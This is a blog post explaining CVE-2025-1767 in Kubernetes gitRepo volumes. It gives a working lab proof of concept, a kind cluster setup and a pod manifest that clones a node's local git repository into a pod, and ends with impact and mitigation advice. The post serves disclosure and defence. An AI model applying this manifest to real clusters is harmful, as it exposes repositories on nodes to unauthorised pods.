There’s a new Kubernetes security vulnerability that’s just been disclosed and I thought it was worth taking a look at it, as there’s a couple of interesting aspects to it. CVE-2025-1767 exists in the gitRepo volume type and can allow users who can create pods with gitRepo volumes to get access to any other git repository on the node where the pod is deployed. This is the second recent CVE related to gitRepo volumes, I covered the last one here
Vulnerability and Exploitation
So setting this up is relatively straightforward. Our node OS has to have git installed, which is common but not the case in every distribution, and we need to be able to create pods on that node. With those two pre-requisites in place, we can show how to exploit it.
I’m going to use a kind cluster , so first step is to shell into the cluster and install git, as it’s not included with kind.
kind create cluster
docker exec -it kind-control-plane bash
apt update && apt install -y git
Next we need a “victim” git repository, for this I’ll just clone down one of my repositories into the root of the node’s filesystem.
git clone https://github.com/raesene/TestingScripts/
With that setup done, exit the node shell, and then we can create our “exploit” pod. This is pretty straightforward, all we need is a pod with a gitRepo volume and we specify the repository to pull into the pod using a file path. As the plugin is just running git on the host, it can access that directory just fine and pull it into the pod.
apiVersion: v1
kind: Pod
metadata:
name: git-repo-pod-test
spec:
containers:
- name: git-repo-test-container
image: raesene/alpine-containertools
volumeMounts:
- name: git-volume
mountPath: /tmp
volumes:
- name: git-volume
gitRepo:
repository: "/TestingScripts"
directory: "."
We can then save this as gitrepotest.yaml and apply it to the cluster with
kubectl create -f gitrepotest.yaml
If all works ok, it should be possible to check that the repository has been cloned from the node into the pod
kubectl exec git-repo-pod-test -- ls /tmp
This will show the files from the cloned repository!
Impact & Exploitability
So that’s how it works, is it really a problem? My feeling is that this is quite a situational vulnerability. Essentially the attacker needs to know the path to a git repository on the node, and for it to contain files that they should not have access to. That’s not going to be be every cluster for sure, but there are times when you could see this causing problems
Patching & Mitigation
The patching situation for this vulnerability is interesting. The CVE description says that a patch will not be provided as gitRepo volumes are deprecated, which is true. However, this volume type is enabled by Kubernetes by default and there is no flag or switch that would allow a cluster operator to disable it.
There has been an ongoing discussion on disabling and/or removing this volume type since the last CVE affecting this component, but a decision hasn’t currently been made on its removal.
In practice, if you don’t use gitRepo volumes, you can mitigate this in a couple of ways. If you don’t need git on your nodes you can just remove it there (assuming un-managed Kubernetes of course), and you can also block the use of these volumes using Validating Admission Policy or similar admission controllers. There’s some details in the CVE announcement of a policy that could be used.
One downside that you may encounter here is that I’d imagine that CVE scanners will pick up this vulnerability and as they can’t easily detect the mitigations, and as there are no patches available and all Kubernetes versions are affected, I’d expect this to flag a lot of Kubernetes installations as vulnerable.
Conclusion
Whilst this is a bit of a situational vulnerability, it’s an interesting illustration of how some less well known components of Kubernetes can affect its security.
